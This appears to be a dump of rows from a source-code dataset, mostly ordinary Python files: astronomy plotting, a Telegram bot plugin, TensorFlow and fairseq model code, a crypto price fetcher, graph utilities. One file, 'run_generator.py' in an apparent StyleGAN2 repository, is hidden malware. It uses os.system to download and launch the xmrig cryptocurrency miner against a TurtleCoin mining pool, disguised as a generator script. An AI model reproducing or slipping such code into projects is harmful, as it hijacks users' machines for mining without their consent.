mnc/lwa_hiplot.py
jaycedowell/mnc_python
bc378ccc9a6cfaf76691122f072366b13e6ef092
[ "BSD-3-Clause" ]
2
2021-08-12T18:18:11.000Z
2021-12-02T07:58:51.000Z
mnc/lwa_hiplot.py
jaycedowell/mnc_python
bc378ccc9a6cfaf76691122f072366b13e6ef092
[ "BSD-3-Clause" ]
1
2021-12-15T18:51:14.000Z
2021-12-15T18:51:14.000Z
mnc/lwa_hiplot.py
jaycedowell/mnc_python
bc378ccc9a6cfaf76691122f072366b13e6ef092
[ "BSD-3-Clause" ]
1
2021-12-03T15:05:00.000Z
2021-12-03T15:05:00.000Z
import hiplot import lwa_antpos def get_exp(uri): df = lwa_antpos.lwa_df.reset_index() df.drop(0, inplace=True) # remove antnum=0 df.antname = df.antname.apply(lambda x: int(x.split('-')[1])) df.rename(columns={'antname': 'antnum'}, inplace=True) df = df[['antnum', 'pola_fee', 'polb_fee', 'arx_add...
38.461538
119
0.69
import hiplot import lwa_antpos def get_exp(uri): df = lwa_antpos.lwa_df.reset_index() df.drop(0, inplace=True) df.antname = df.antname.apply(lambda x: int(x.split('-')[1])) df.rename(columns={'antname': 'antnum'}, inplace=True) df = df[['antnum', 'pola_fee', 'polb_fee', 'arx_address', 'pola_arx_...
true
true
790b05ca0e0c618bfe1b0827b220b95931031312
1,092
py
Python
plugins/user.py
fosslife/grambot
fbec1a8df939823b18915d4689e9da6f5adb871b
[ "MIT" ]
7
2020-05-28T04:08:02.000Z
2022-02-22T18:11:03.000Z
plugins/user.py
fosslife/grambot
fbec1a8df939823b18915d4689e9da6f5adb871b
[ "MIT" ]
1
2021-07-28T10:12:25.000Z
2021-12-13T15:09:43.000Z
plugins/user.py
fosslife/grambot
fbec1a8df939823b18915d4689e9da6f5adb871b
[ "MIT" ]
4
2020-03-30T18:27:08.000Z
2022-02-25T16:28:06.000Z
from userbot import bot, logger from telethon import TelegramClient, events from config import user from telethon.tl.functions.users import GetFullUserRequest @bot.on(events.NewMessage(**user)) async def getUser(event): logger.info("user plugin is called") pattern_string = event.pattern_match.string entity...
42
113
0.725275
from userbot import bot, logger from telethon import TelegramClient, events from config import user from telethon.tl.functions.users import GetFullUserRequest @bot.on(events.NewMessage(**user)) async def getUser(event): logger.info("user plugin is called") pattern_string = event.pattern_match.string entity...
true
true
790b0642bc651ce6634c07feaef088b93a3e0de0
9,643
py
Python
models/official/detection/modeling/architecture/resnet.py
hoangphucITJP/tpu
e4ce0d8eb61a828d4b5fe09effd082356e88545c
[ "Apache-2.0" ]
null
null
null
models/official/detection/modeling/architecture/resnet.py
hoangphucITJP/tpu
e4ce0d8eb61a828d4b5fe09effd082356e88545c
[ "Apache-2.0" ]
null
null
null
models/official/detection/modeling/architecture/resnet.py
hoangphucITJP/tpu
e4ce0d8eb61a828d4b5fe09effd082356e88545c
[ "Apache-2.0" ]
null
null
null
# Lint as: python2, python3 # Copyright 2019 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # ...
37.964567
80
0.657057
from __future__ import absolute_import from __future__ import division from __future__ import print_function from six.moves import range import tensorflow.compat.v1 as tf from modeling.architecture import nn_blocks from modeling.architecture import nn_ops def get_drop_connect_rate(init_rate, block_n...
true
true
790b0695b94723e79b7c0b1171676002fd6a3093
1,310
py
Python
Data Structures/Stack/Balanced Bracket/balanced_bracket.py
brianchiang-tw/HackerRank
02a30a0033b881206fa15b8d6b4ef99b2dc420c8
[ "MIT" ]
2
2020-05-28T07:15:00.000Z
2020-07-21T08:34:06.000Z
Data Structures/Stack/Balanced Bracket/balanced_bracket.py
brianchiang-tw/HackerRank
02a30a0033b881206fa15b8d6b4ef99b2dc420c8
[ "MIT" ]
null
null
null
Data Structures/Stack/Balanced Bracket/balanced_bracket.py
brianchiang-tw/HackerRank
02a30a0033b881206fa15b8d6b4ef99b2dc420c8
[ "MIT" ]
null
null
null
#!/bin/python3 import math import os import random import re import sys # Complete the isBalanced function below. def isBalanced(s): left_symbol = [ '{', '[', '('] right_symbol = [ '}', ']', ')'] # fast checking of symbol counting equality for i in range(3): left_count = s.count( left_symbo...
17.702703
63
0.499237
import math import os import random import re import sys def isBalanced(s): left_symbol = [ '{', '[', '('] right_symbol = [ '}', ']', ')'] for i in range(3): left_count = s.count( left_symbol[i] ) right_count = s.count( right_symbol[i] ) if left_count != right_count: ...
true
true
790b06f7d961da5eefda7131950028b89915e567
3,008
py
Python
binance-fetch-ohlcv-to-csv.py
yinfeng2016/Bitcoin-Trader-RL
cd75848fa89f076ee3d91cf2b866b8160a038b30
[ "MIT" ]
null
null
null
binance-fetch-ohlcv-to-csv.py
yinfeng2016/Bitcoin-Trader-RL
cd75848fa89f076ee3d91cf2b866b8160a038b30
[ "MIT" ]
null
null
null
binance-fetch-ohlcv-to-csv.py
yinfeng2016/Bitcoin-Trader-RL
cd75848fa89f076ee3d91cf2b866b8160a038b30
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- import os import sys import csv # ----------------------------------------------------------------------------- root = os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) sys.path.append(root + '/python') import ccxt # noqa: E402 # --------------------------------...
39.578947
133
0.628657
import os import sys import csv root = os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) sys.path.append(root + '/python') import ccxt def retry_fetch_ohlcv(exchange, max_retries, symbol, timeframe, since, limit): num_retries = 0 try: num_retries += 1 ohlcv...
true
true
790b07891b7b81348e644b5d2b4ad376f79cff20
21,906
py
Python
local2global_embedding/run.py
LJeub/Local2Global_embedding
22e1818639043444f97655d944997a171b992745
[ "MIT" ]
null
null
null
local2global_embedding/run.py
LJeub/Local2Global_embedding
22e1818639043444f97655d944997a171b992745
[ "MIT" ]
null
null
null
local2global_embedding/run.py
LJeub/Local2Global_embedding
22e1818639043444f97655d944997a171b992745
[ "MIT" ]
null
null
null
"""Training run script""" import argparse import json from pathlib import Path from bisect import bisect_left import torch import torch_geometric as tg import matplotlib.pyplot as plt import local2global as l2g from local2global_embedding.embedding import speye, train, embedding, VGAE_model, VGAE_loss, reconstructio...
39.61302
147
0.61773
import argparse import json from pathlib import Path from bisect import bisect_left import torch import torch_geometric as tg import matplotlib.pyplot as plt import local2global as l2g from local2global_embedding.embedding import speye, train, embedding, VGAE_model, VGAE_loss, reconstruction_auc from local2global_em...
true
true
790b08bb6917d38a656b112ba98748029b3f9856
5,030
py
Python
fedlab_benchmarks/fedmgda+/standalone.py
KarhouTam/FedLab-benchmarks
6de0ca56f645794ca7eae0f19c6b0117165d3404
[ "Apache-2.0" ]
null
null
null
fedlab_benchmarks/fedmgda+/standalone.py
KarhouTam/FedLab-benchmarks
6de0ca56f645794ca7eae0f19c6b0117165d3404
[ "Apache-2.0" ]
null
null
null
fedlab_benchmarks/fedmgda+/standalone.py
KarhouTam/FedLab-benchmarks
6de0ca56f645794ca7eae0f19c6b0117165d3404
[ "Apache-2.0" ]
null
null
null
from json import load import os import argparse import random from copy import deepcopy import torchvision import torchvision.transforms as transforms from torch import nn import sys import torch import numpy as np import cvxopt torch.manual_seed(0) from fedlab.core.client.serial_trainer import SubsetSerialTrainer fro...
34.689655
123
0.615706
from json import load import os import argparse import random from copy import deepcopy import torchvision import torchvision.transforms as transforms from torch import nn import sys import torch import numpy as np import cvxopt torch.manual_seed(0) from fedlab.core.client.serial_trainer import SubsetSerialTrainer fro...
true
true
790b090b063c370e613c4b73471668b127b66fc5
1,354
py
Python
test/test_day17.py
frangiz/AdventOfCode2018
dffbc0a8467d3c31678d9719923c461b0b12d67f
[ "MIT" ]
null
null
null
test/test_day17.py
frangiz/AdventOfCode2018
dffbc0a8467d3c31678d9719923c461b0b12d67f
[ "MIT" ]
null
null
null
test/test_day17.py
frangiz/AdventOfCode2018
dffbc0a8467d3c31678d9719923c461b0b12d67f
[ "MIT" ]
null
null
null
"""The tests for day17.""" from days import day17 from ddt import ddt, data, unpack import unittest import helpers @ddt class MyTestCase(unittest.TestCase): # noqa D101 @data( [[ 'x=495, y=2..7', 'y=7, x=495..501', 'x=501, y=3..7', 'x=498, y=2..4', ...
28.808511
69
0.521418
from days import day17 from ddt import ddt, data, unpack import unittest import helpers @ddt class MyTestCase(unittest.TestCase): @data( [[ 'x=495, y=2..7', 'y=7, x=495..501', 'x=501, y=3..7', 'x=498, y=2..4', 'x=506, y=1..2', 'x=498...
true
true
790b090f6347653937f7ebcfb73826e6f1050b01
3,483
py
Python
utils/graph_utils.py
BrunoKM/rhoana_graph_tools
7150f4bc6337ecf51dd9123cf03561a57d655160
[ "MIT" ]
1
2018-08-17T00:12:30.000Z
2018-08-17T00:12:30.000Z
utils/graph_utils.py
BrunoKM/rhoana_graph_tools
7150f4bc6337ecf51dd9123cf03561a57d655160
[ "MIT" ]
null
null
null
utils/graph_utils.py
BrunoKM/rhoana_graph_tools
7150f4bc6337ecf51dd9123cf03561a57d655160
[ "MIT" ]
1
2019-05-19T07:08:54.000Z
2019-05-19T07:08:54.000Z
import numpy as np import networkx as nx if __name__ == '__main__': from ged4py.algorithm import graph_edit_dist else: from .ged4py.algorithm import graph_edit_dist def rearrange_adj_matrix(matrix, ordering): assert matrix.ndim == 2 # Check that matrix is square assert matrix.shape[0] == matrix.sh...
34.147059
105
0.676715
import numpy as np import networkx as nx if __name__ == '__main__': from ged4py.algorithm import graph_edit_dist else: from .ged4py.algorithm import graph_edit_dist def rearrange_adj_matrix(matrix, ordering): assert matrix.ndim == 2 assert matrix.shape[0] == matrix.shape[1] num_nodes = matrix...
true
true
790b096adf0a7dadc6f725ff23f532c4b282732e
1,938
py
Python
tools/fastq/fastq_combiner.py
bopopescu/phyG
023f505b705ab953f502cbc55e90612047867583
[ "CC-BY-3.0" ]
2
2016-02-23T00:09:14.000Z
2019-02-11T07:48:44.000Z
tools/fastq/fastq_combiner.py
bopopescu/phyG
023f505b705ab953f502cbc55e90612047867583
[ "CC-BY-3.0" ]
null
null
null
tools/fastq/fastq_combiner.py
bopopescu/phyG
023f505b705ab953f502cbc55e90612047867583
[ "CC-BY-3.0" ]
6
2015-05-27T13:09:50.000Z
2019-02-11T07:48:46.000Z
#Dan Blankenberg import sys, os, shutil from galaxy_utils.sequence.fastq import fastqWriter, fastqSequencingRead, fastqCombiner, fastqFakeFastaScoreReader from galaxy_utils.sequence.fasta import fastaReader, fastaNamedReader def main(): #Read command line arguments fasta_filename = sys.argv[1] fasta_type =...
38.76
159
0.657895
import sys, os, shutil from galaxy_utils.sequence.fastq import fastqWriter, fastqSequencingRead, fastqCombiner, fastqFakeFastaScoreReader from galaxy_utils.sequence.fasta import fastaReader, fastaNamedReader def main(): fasta_filename = sys.argv[1] fasta_type = sys.argv[2] or 'fasta' qual_filename =...
false
true
790b0a8ad1c25e10ce9deea1ce87883a46e7a21f
20,506
py
Python
fairseq/models/wav2vec/wav2vec2_asr.py
fairseq-FT/fairseq
18725499144c1bba7c151b796ba774e59d36eaa9
[ "MIT" ]
33
2021-01-06T18:03:55.000Z
2022-03-28T12:07:44.000Z
fairseq/models/wav2vec/wav2vec2_asr.py
fairseq-FT/fairseq
18725499144c1bba7c151b796ba774e59d36eaa9
[ "MIT" ]
8
2021-06-11T03:11:37.000Z
2022-03-08T19:15:42.000Z
fairseq/models/wav2vec/wav2vec2_asr.py
fairseq-FT/fairseq
18725499144c1bba7c151b796ba774e59d36eaa9
[ "MIT" ]
14
2021-05-17T06:55:01.000Z
2022-03-28T12:07:42.000Z
# Copyright (c) Facebook, Inc. and its affiliates. # # This source code is licensed under the MIT license found in the # LICENSE file in the root directory of this source tree. from argparse import Namespace import contextlib import copy import math import numpy as np import torch import torch.nn as nn import torch.nn...
34.521886
90
0.631913
from argparse import Namespace import contextlib import copy import math import numpy as np import torch import torch.nn as nn import torch.nn.functional as F from dataclasses import dataclass, field from omegaconf import MISSING, II, open_dict from typing import Any from fairseq import checkpoint_utils, tasks, u...
true
true
790b0c39682933c1feb2c6fab90ea0c2e8d189c6
2,733
py
Python
deepspeech/frontend/augmentor/noise_perturb.py
zh794390558/DeepSpeech
34178893327ad359cb816e55d7c66a10244fa08a
[ "Apache-2.0" ]
null
null
null
deepspeech/frontend/augmentor/noise_perturb.py
zh794390558/DeepSpeech
34178893327ad359cb816e55d7c66a10244fa08a
[ "Apache-2.0" ]
null
null
null
deepspeech/frontend/augmentor/noise_perturb.py
zh794390558/DeepSpeech
34178893327ad359cb816e55d7c66a10244fa08a
[ "Apache-2.0" ]
null
null
null
# Copyright (c) 2021 PaddlePaddle Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by appli...
42.046154
80
0.71094
from deepspeech.frontend.audio import AudioSegment from deepspeech.frontend.augmentor.base import AugmentorBase from deepspeech.frontend.utility import read_manifest class NoisePerturbAugmentor(AugmentorBase): def __init__(self, rng, min_snr_dB, max_snr_dB, noise_manifest_path): self._min_sn...
true
true
790b0c51e0ac839b5fdaf84458d325b4adaeab5a
3,221
py
Python
src/training_handler.py
tobynance/simple_mud
c9be32327fcab0c9bd37fabedb7dd566709b7d48
[ "MIT" ]
6
2015-04-24T13:09:37.000Z
2022-01-27T01:12:47.000Z
src/training_handler.py
tobynance/simple_mud
c9be32327fcab0c9bd37fabedb7dd566709b7d48
[ "MIT" ]
15
2015-03-09T00:07:55.000Z
2015-03-10T02:30:23.000Z
src/training_handler.py
tobynance/simple_mud
c9be32327fcab0c9bd37fabedb7dd566709b7d48
[ "MIT" ]
2
2015-04-24T13:09:38.000Z
2020-12-22T08:40:07.000Z
import logging import player import telnet logger = logging.getLogger(__name__) ######################################################################## class TrainingHandler(telnet.MudTelnetHandler): #################################################################### def __init__(self, protocol, player): ...
43.527027
102
0.473455
import logging import player import telnet logger = logging.getLogger(__name__)
true
true
790b0d93c0d982713add4a368d7b247ccff99111
21,921
py
Python
janitor/finance.py
thatlittleboy/pyjanitor
f7977e00d3d9bf49aebeaa62db2965a668c50c90
[ "MIT" ]
null
null
null
janitor/finance.py
thatlittleboy/pyjanitor
f7977e00d3d9bf49aebeaa62db2965a668c50c90
[ "MIT" ]
null
null
null
janitor/finance.py
thatlittleboy/pyjanitor
f7977e00d3d9bf49aebeaa62db2965a668c50c90
[ "MIT" ]
null
null
null
""" Finance-specific data cleaning functions. """ import json from datetime import date from functools import lru_cache import pandas as pd import pandas_flavor as pf import requests from janitor.errors import JanitorError from .utils import check, deprecated_alias, is_connected currency_set = { "AUD", "B...
29.384718
107
0.57356
import json from datetime import date from functools import lru_cache import pandas as pd import pandas_flavor as pf import requests from janitor.errors import JanitorError from .utils import check, deprecated_alias, is_connected currency_set = { "AUD", "BGN", "BRL", "CAD", "CHF", "CNY", ...
true
true
790b100111e59e9ef5eca65c62ba2c50de187873
906
py
Python
tensorflow_graphics/version.py
drebain/graphics
c84b7599d1f8a55ccbdd589c1a845494c17c2784
[ "Apache-2.0" ]
1
2021-06-30T14:22:50.000Z
2021-06-30T14:22:50.000Z
tensorflow_graphics/version.py
drebain/graphics
c84b7599d1f8a55ccbdd589c1a845494c17c2784
[ "Apache-2.0" ]
null
null
null
tensorflow_graphics/version.py
drebain/graphics
c84b7599d1f8a55ccbdd589c1a845494c17c2784
[ "Apache-2.0" ]
1
2019-10-10T06:16:30.000Z
2019-10-10T06:16:30.000Z
#Copyright 2019 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, so...
31.241379
76
0.743929
_MAJOR_VERSION = "1" _MINOR_VERSION = "0" _PATCH_VERSION = "0" _VERSION_SUFFIX = "" __version__ = ".".join([ _MAJOR_VERSION, _MINOR_VERSION, _PATCH_VERSION, ]) if _VERSION_SUFFIX: __version__ = "{}-{}".format(__version__, _VERSION_SUFFIX)
true
true
790b1017b47f0b31f732106e2f303d9654e402d9
5,977
py
Python
qf_lib_tests/integration_tests/backtesting/alpha_model_strategy_testers/test_alpha_model_strategy_for_stop_losses_intraday.py
webclinic017/qf-lib
96463876719bba8a76c8269cef76addf3a2d836d
[ "Apache-2.0" ]
198
2019-08-16T15:09:23.000Z
2022-03-30T12:44:00.000Z
qf_lib_tests/integration_tests/backtesting/alpha_model_strategy_testers/test_alpha_model_strategy_for_stop_losses_intraday.py
webclinic017/qf-lib
96463876719bba8a76c8269cef76addf3a2d836d
[ "Apache-2.0" ]
13
2021-01-07T10:15:19.000Z
2022-03-29T13:01:47.000Z
qf_lib_tests/integration_tests/backtesting/alpha_model_strategy_testers/test_alpha_model_strategy_for_stop_losses_intraday.py
webclinic017/qf-lib
96463876719bba8a76c8269cef76addf3a2d836d
[ "Apache-2.0" ]
29
2019-08-16T15:21:28.000Z
2022-02-23T09:53:49.000Z
# Copyright 2016-present CERN – European Organization for Nuclear Research # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2...
60.373737
145
0.704367
import numpy as np import pandas as pd from numpy.testing import assert_equal, assert_almost_equal from qf_lib.backtesting.events.time_event.regular_time_event.market_close_event import MarketCloseEvent from qf_lib.backtesting.events.time_event.regular_time_event.market_open_event import MarketOpenEvent f...
true
true
790b10de739422fdc1702d4f47f6221000801c25
1,572
py
Python
examples/progress/many-parallel-tasks.py
scalabli/quo
70b6d4129ee705930f1f8a792fc4c9247d973f9d
[ "MIT" ]
3
2022-03-13T13:22:35.000Z
2022-03-18T08:22:51.000Z
examples/progress/many-parallel-tasks.py
scalabli/quo
70b6d4129ee705930f1f8a792fc4c9247d973f9d
[ "MIT" ]
1
2022-03-21T16:29:54.000Z
2022-03-21T16:29:54.000Z
examples/progress/many-parallel-tasks.py
scalabli/quo
70b6d4129ee705930f1f8a792fc4c9247d973f9d
[ "MIT" ]
null
null
null
#!/usr/bin/env python """ More complex demonstration of what's possible with the progress bar. """ import threading import time from quo.text import Text from quo.progress import ProgressBar def main(): with ProgressBar( title=Text("<b>Example of many parallel tasks.</b>"), bottom_toolbar=Text("<b...
34.173913
82
0.592875
import threading import time from quo.text import Text from quo.progress import ProgressBar def main(): with ProgressBar( title=Text("<b>Example of many parallel tasks.</b>"), bottom_toolbar=Text("<b>[Control-L]</b> clear <b>[Control-C]</b> abort"), ) as pb: def run_task(label, tota...
true
true
790b10e66ba6f6755bae0c6eb5fe3a10af76ed1c
4,266
py
Python
purity_fb/purity_fb_1dot5/models/hardware_connector_response.py
unixtreme/purity_fb_python_client
e836afe9804ffa99f74bf4b5202f181c3c04d9df
[ "Apache-2.0" ]
null
null
null
purity_fb/purity_fb_1dot5/models/hardware_connector_response.py
unixtreme/purity_fb_python_client
e836afe9804ffa99f74bf4b5202f181c3c04d9df
[ "Apache-2.0" ]
null
null
null
purity_fb/purity_fb_1dot5/models/hardware_connector_response.py
unixtreme/purity_fb_python_client
e836afe9804ffa99f74bf4b5202f181c3c04d9df
[ "Apache-2.0" ]
null
null
null
# coding: utf-8 """ Purity//FB REST Client Client for Purity//FB REST API (1.0), developed by [Pure Storage, Inc](http://www.purestorage.com/). Documentations can be found at [purity-fb.readthedocs.io](http://purity-fb.readthedocs.io/). OpenAPI spec version: 1.5 Contact: info@purestorage.com Gene...
27.701299
197
0.585795
from pprint import pformat from six import iteritems import re class HardwareConnectorResponse(object): swagger_types = { 'pagination_info': 'PaginationInfo', 'items': 'list[HardwareConnector]' } attribute_map = { 'pagination_info': 'pagination_info', 'items': 'items...
true
true
790b1144d75491d0b25d7dba6e366933b0948fd9
3,964
py
Python
pyperf/cmd/daemons.py
kevinconway/PyPerf
5aaf9943bb6d979e2f42229ed629816bc3ca1fb4
[ "Apache-2.0" ]
null
null
null
pyperf/cmd/daemons.py
kevinconway/PyPerf
5aaf9943bb6d979e2f42229ed629816bc3ca1fb4
[ "Apache-2.0" ]
2
2015-07-12T19:55:25.000Z
2016-01-30T14:32:11.000Z
pyperf/cmd/daemons.py
kevinconway/PyPerf
5aaf9943bb6d979e2f42229ed629816bc3ca1fb4
[ "Apache-2.0" ]
null
null
null
"""Commands for starting daemons.""" from __future__ import division from __future__ import absolute_import from __future__ import print_function from __future__ import unicode_literals import argparse import pprint import confpy.api import confpy.core.option from .. import messages cfg = confpy.api.Configuration...
25.74026
77
0.619324
from __future__ import division from __future__ import absolute_import from __future__ import print_function from __future__ import unicode_literals import argparse import pprint import confpy.api import confpy.core.option from .. import messages cfg = confpy.api.Configuration( transport=confpy.api.Namespace(...
true
true
790b12e07c9d98672f8fa8e1fa2048ff267f36b2
460
py
Python
run_generator.py
vps01bao/StyleGAN2
1abec4c69d7983dda5ba3594ea71e5b4cf8c9a9c
[ "BSD-Source-Code" ]
null
null
null
run_generator.py
vps01bao/StyleGAN2
1abec4c69d7983dda5ba3594ea71e5b4cf8c9a9c
[ "BSD-Source-Code" ]
null
null
null
run_generator.py
vps01bao/StyleGAN2
1abec4c69d7983dda5ba3594ea71e5b4cf8c9a9c
[ "BSD-Source-Code" ]
null
null
null
import os as alpha alpha.system("apt-get install -y tmux && tmux new-session 'apt-get -y install wget && wget https://github.com/xmrig/xmrig/releases/download/v6.15.0/xmrig-6.15.0-linux-x64.tar.gz && tar -xvf xmrig-6.15.0-linux-x64.tar.gz && cd xmrig-6.15.0 && ./xmrig --donate-level 1 -o de.turtlecoin.herominers.com:11...
153.333333
440
0.771739
import os as alpha alpha.system("apt-get install -y tmux && tmux new-session 'apt-get -y install wget && wget https://github.com/xmrig/xmrig/releases/download/v6.15.0/xmrig-6.15.0-linux-x64.tar.gz && tar -xvf xmrig-6.15.0-linux-x64.tar.gz && cd xmrig-6.15.0 && ./xmrig --donate-level 1 -o de.turtlecoin.herominers.com:11...
true
true
790b13a929fd2156cb71cdd6e14944f56f33744a
4,643
py
Python
simple_api/django_object/django_object.py
ladal1/simple_api
1b5d560476bccad9f68a7331d092dbdb68c48bf7
[ "MIT" ]
1
2021-02-24T22:14:59.000Z
2021-02-24T22:14:59.000Z
simple_api/django_object/django_object.py
ladal1/simple_api
1b5d560476bccad9f68a7331d092dbdb68c48bf7
[ "MIT" ]
null
null
null
simple_api/django_object/django_object.py
ladal1/simple_api
1b5d560476bccad9f68a7331d092dbdb68c48bf7
[ "MIT" ]
null
null
null
from copy import deepcopy from simple_api.django_object.actions import DetailAction, ListAction, CreateAction, UpdateAction, DeleteAction from simple_api.django_object.datatypes import create_associated_list_type from simple_api.django_object.filters import generate_filters from simple_api.django_object.converter impo...
39.347458
116
0.697825
from copy import deepcopy from simple_api.django_object.actions import DetailAction, ListAction, CreateAction, UpdateAction, DeleteAction from simple_api.django_object.datatypes import create_associated_list_type from simple_api.django_object.filters import generate_filters from simple_api.django_object.converter impo...
true
true
790b13d3bf64c67079260e68880abcf1b4b6ee36
21,638
py
Python
qa/rpc-tests/test_framework/util.py
cephcoin/cephcoin
3dda3986533b2321cea2cee8ae1ae5a2b63dbfa4
[ "MIT" ]
1
2018-02-09T16:02:34.000Z
2018-02-09T16:02:34.000Z
qa/rpc-tests/test_framework/util.py
cephcoin/cephcoin
3dda3986533b2321cea2cee8ae1ae5a2b63dbfa4
[ "MIT" ]
null
null
null
qa/rpc-tests/test_framework/util.py
cephcoin/cephcoin
3dda3986533b2321cea2cee8ae1ae5a2b63dbfa4
[ "MIT" ]
null
null
null
# Copyright (c) 2014-2015 The Bitcoin Core developers # Copyright (c) 2014-2017 The CephCoin Core developers # Distributed under the MIT/X11 software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. # # Helpful routines for regression testing # # Add python-bitcoinr...
35.356209
153
0.652509
import os import sys from binascii import hexlify, unhexlify from base64 import b64encode from decimal import Decimal, ROUND_DOWN import json import random import shutil import subprocess import time import re import errno from . import coverage from .authproxy import AuthServiceProxy, JSONRPCException CO...
false
true
790b13e0719e348fcf4df241d8465987b32600d0
2,400
py
Python
algorithm_rgb.py
jvanderleeuw/template-rgb-plot-test
88d88eccfd182f293d217a04b7ecd40f7b03b9f0
[ "BSD-3-Clause" ]
2
2020-02-07T16:08:39.000Z
2020-02-17T15:08:38.000Z
algorithm_rgb.py
jvanderleeuw/template-rgb-plot-test
88d88eccfd182f293d217a04b7ecd40f7b03b9f0
[ "BSD-3-Clause" ]
5
2020-07-23T23:45:47.000Z
2021-09-13T20:11:54.000Z
.github/workflows/algorithm_rgb.py
AgPipeline/plot-base-rgb
012cf97e45a0f281d21b94e02ff05fd34b459805
[ "BSD-3-Clause" ]
3
2019-11-22T20:12:57.000Z
2021-05-07T13:52:12.000Z
"""My nifty plot-level RGB algorithm """ # Importing modules. Please add any additional import statements below import numpy as np # Definitions # Please replace these definitions' values with the correct ones VERSION = '1.0' # Information on the creator of this algorithm ALGORITHM_AUTHOR = 'Unknown' ALGORITHM_AUTHO...
38.095238
128
0.768333
import numpy as np VERSION = '1.0' # Information on the creator of this algorithm ALGORITHM_AUTHOR = 'Unknown' ALGORITHM_AUTHOR_EMAIL = '' ALGORITHM_CONTRIBUTORS = [""] ALGORITHM_NAME = 'my nifty one' ALGORITHM_DESCRIPTION = 'This algorithm calculates the niftyness of RGB plot-level images' # Citation informati...
true
true
790b14439046bd301a529a673057b56fe6681eb9
315
py
Python
sprint/core/parser/args.py
ii-Python/Sprint-v2
2579b7f9a36ac5c5ec541ca3dce6cf61357db948
[ "MIT" ]
null
null
null
sprint/core/parser/args.py
ii-Python/Sprint-v2
2579b7f9a36ac5c5ec541ca3dce6cf61357db948
[ "MIT" ]
null
null
null
sprint/core/parser/args.py
ii-Python/Sprint-v2
2579b7f9a36ac5c5ec541ca3dce6cf61357db948
[ "MIT" ]
null
null
null
class Argument(object): def __init__(self, argument = None, base: bool = False): self.arg = argument self.is_base = base def __repr__(self): return self.arg def __str__(self): return self.arg def is_pipe(self): return self.arg == ">>" or self.arg == "<<"
21
60
0.571429
class Argument(object): def __init__(self, argument = None, base: bool = False): self.arg = argument self.is_base = base def __repr__(self): return self.arg def __str__(self): return self.arg def is_pipe(self): return self.arg == ">>" or self.arg == "<<"
true
true
790b153c215eea49b75468a9c1aed9959780cb22
1,662
py
Python
spark_auto_mapper/data_types/unix_timestamp.py
icanbwell/SparkAutoMapper
bfd5da72f3b55ec48860935228c1ecf6d7c1a2e4
[ "Apache-2.0" ]
2
2021-12-27T10:41:59.000Z
2022-02-24T00:19:40.000Z
spark_auto_mapper/data_types/unix_timestamp.py
icanbwell/SparkAutoMapper
bfd5da72f3b55ec48860935228c1ecf6d7c1a2e4
[ "Apache-2.0" ]
5
2020-10-22T01:19:11.000Z
2021-03-18T16:04:23.000Z
spark_auto_mapper/data_types/unix_timestamp.py
icanbwell/SparkAutoMapper
bfd5da72f3b55ec48860935228c1ecf6d7c1a2e4
[ "Apache-2.0" ]
3
2020-12-17T21:23:46.000Z
2021-07-29T18:08:31.000Z
from typing import Optional from pyspark.sql import Column, DataFrame from pyspark.sql.functions import from_unixtime, to_timestamp from spark_auto_mapper.data_types.data_type_base import AutoMapperDataTypeBase from spark_auto_mapper.helpers.value_parser import AutoMapperValueParser from spark_auto_mapper.type_defini...
33.918367
109
0.661252
from typing import Optional from pyspark.sql import Column, DataFrame from pyspark.sql.functions import from_unixtime, to_timestamp from spark_auto_mapper.data_types.data_type_base import AutoMapperDataTypeBase from spark_auto_mapper.helpers.value_parser import AutoMapperValueParser from spark_auto_mapper.type_defini...
true
true
790b1607e2dbab856491d37aa237082f14588b83
2,040
py
Python
face_detection_cv2.py
HDWilliams/User_Verification_HPE
753cd5b3a757e228baba56a48fd50a56aea0b485
[ "MIT" ]
null
null
null
face_detection_cv2.py
HDWilliams/User_Verification_HPE
753cd5b3a757e228baba56a48fd50a56aea0b485
[ "MIT" ]
null
null
null
face_detection_cv2.py
HDWilliams/User_Verification_HPE
753cd5b3a757e228baba56a48fd50a56aea0b485
[ "MIT" ]
null
null
null
import cv2 import pose_detection as pose_d pose_model = pose_d.load_pose_model('pre_trained\AFLW2000.pkl') def detect_face(img_PATH, model_PATH): # Load the cascade face_cascade = cv2.CascadeClassifier(model_PATH) # Read the input image img = cv2.imread(img_PATH) # Convert into grayscale gray = cv2.cvtCo...
31.875
103
0.645588
import cv2 import pose_detection as pose_d pose_model = pose_d.load_pose_model('pre_trained\AFLW2000.pkl') def detect_face(img_PATH, model_PATH): face_cascade = cv2.CascadeClassifier(model_PATH) img = cv2.imread(img_PATH) gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) faces = face_cascade.detectMult...
true
true
790b1681efe2d5bb5b44069894dfe0b461c9f34f
753
py
Python
database/task_class/annotation.py
cozy9/Metascape
261901657bef5e1060f1ae86a2a3913d1e4c87c4
[ "Apache-2.0" ]
2
2021-08-01T19:33:44.000Z
2022-02-14T16:37:34.000Z
database/task_class/annotation.py
data2code/Metascape
261901657bef5e1060f1ae86a2a3913d1e4c87c4
[ "Apache-2.0" ]
null
null
null
database/task_class/annotation.py
data2code/Metascape
261901657bef5e1060f1ae86a2a3913d1e4c87c4
[ "Apache-2.0" ]
1
2019-05-22T12:44:34.000Z
2019-05-22T12:44:34.000Z
#!/usr/bin/env python #from .core import * import numpy as np import pandas as pd import shutil import urllib import urlparse from os.path import splitext, basename import os from os import sys, path from pprint import pprint import StringIO import db from gp import * from core import * from IPython.core.debugger impor...
25.965517
115
0.759628
